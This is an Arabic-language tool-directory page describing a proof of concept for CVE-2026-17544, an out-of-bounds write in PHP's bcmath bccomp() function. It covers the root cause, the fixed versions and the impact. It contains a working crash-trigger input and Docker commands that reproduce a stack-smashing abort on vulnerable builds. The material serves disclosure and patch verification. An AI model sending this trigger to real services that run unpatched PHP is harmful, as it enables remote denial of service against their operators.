Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — كتابة خارج الحدود (OOB) في دالة bccomp() الخاصة بوحدة bcmath في PHP (تحطيم المكدس). تم التحقق: تعطّل على الإصدارين 8.4.23 و8.5.8، وتم الإصلاح في الإصدار 8.4.24. GHSA-x692-q9x7-8c3f | Kitploit
أدوات/GitHubGitHub/boreas37/cve-2026-17544-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — كتابة خارج الحدود (OOB) في دالة bccomp() الخاصة بوحدة bcmath في PHP (تحطيم المكدس). تم التحقق: تعطّل على الإصدارين 8.4.23 و8.5.8، وتم الإصلاح في الإصدار 8.4.24. GHSA-x692-q9x7-8c3f

عرض المستودع
63منذ 8 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-17544 — كتابة خارج حدود الذاكرة في bccomp() في PHP bcmath (Stack Smashing)

CVSS 9.8 (حرجة) · CWE-787 · GHSA-x692-q9x7-8c3f

الملخص

تحتوي الدالة bc_str2num() في ext/bcmath/libbcmath/src/str2num.c (نسخة libbcmath المضمّنة في PHP 8.4+) على كتابة خارج الحدود بانحراف N (off-by-N). عندما يكون scale المقدَّم من المستخدم أصغر من المقياس التلقائي للمعامل، يُقتطع الجزء الكسري ثم تُنفَّذ عملية إزالة الأصفار اللاحقة دون تحديث fractional_end. يتم تخصيص المخزن المؤقت بالطول المقتطع (الأقصر)، لكن النسخ يستخدم الطول غير المقتطع → تجاوز في مخزن الكومة/المكدس المؤقت.

المتأثر: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 الإصلاح في: PHP 8.4.24 / 8.5.9 (2026-07-30)، الالتزام fa18dab73f93 / ce2ec8a70755 فضل التقرير: Recep Asan (recepasan)

السبب الجذري

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

تم دمج الإصلاح المكوَّن من سطر واحد (fractional_end = fractional_new_end;) مع اختبار الانحدار ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt في الإصدارين 8.4.24/8.5.9.

المحفّز (تم التحقق منه)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);

تم التحقق في 2026-08-12 على Raspberry Pi 5 (arm64) عبر Docker.

الاستخدام

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

الأثر

  • رفض الخدمة عن بُعد (Remote DoS): يمكن تعطيل أي خدمة تمرّر معاملات/مقياس يتحكم به المهاجم إلى bccomp() بشكل حتمي (في الإصدارين 8.4/8.5، البنى المزوّدة بحماية المكدس تُجهض؛ البنى غير المحمية تُتلف السجلات المحفوظة/عنوان العودة).
  • تنفيذ التعليمات البرمجية عن بُعد (RCE): ممكن نظريًا عبر تهيئة الكومة (heap grooming)، لكن وحدات البايت خارج الحدود محصورة في قيم BCD (0x00–0x09) وحجم التجاوز = عدد الأصفار المقتطعة — صعب، ولم يتم إثباته.

المراجع

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • إصلاح 8.4: fa18dab73f93 · إصلاح 8.5: ce2ec8a70755
تنزيل الأداة
البناءالنتيجة
PHP 8.4.23 (قابلة للاستغلال، Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, exit 133 (SIGABRT)
PHP 8.5.8 (قابلة للاستغلال)💥 نفس الشيء — إجهاض حتمي (deterministic abort)
PHP 8.4.24 (مصحّحة، php:8.4.24-cli)✅ int(1), exit 0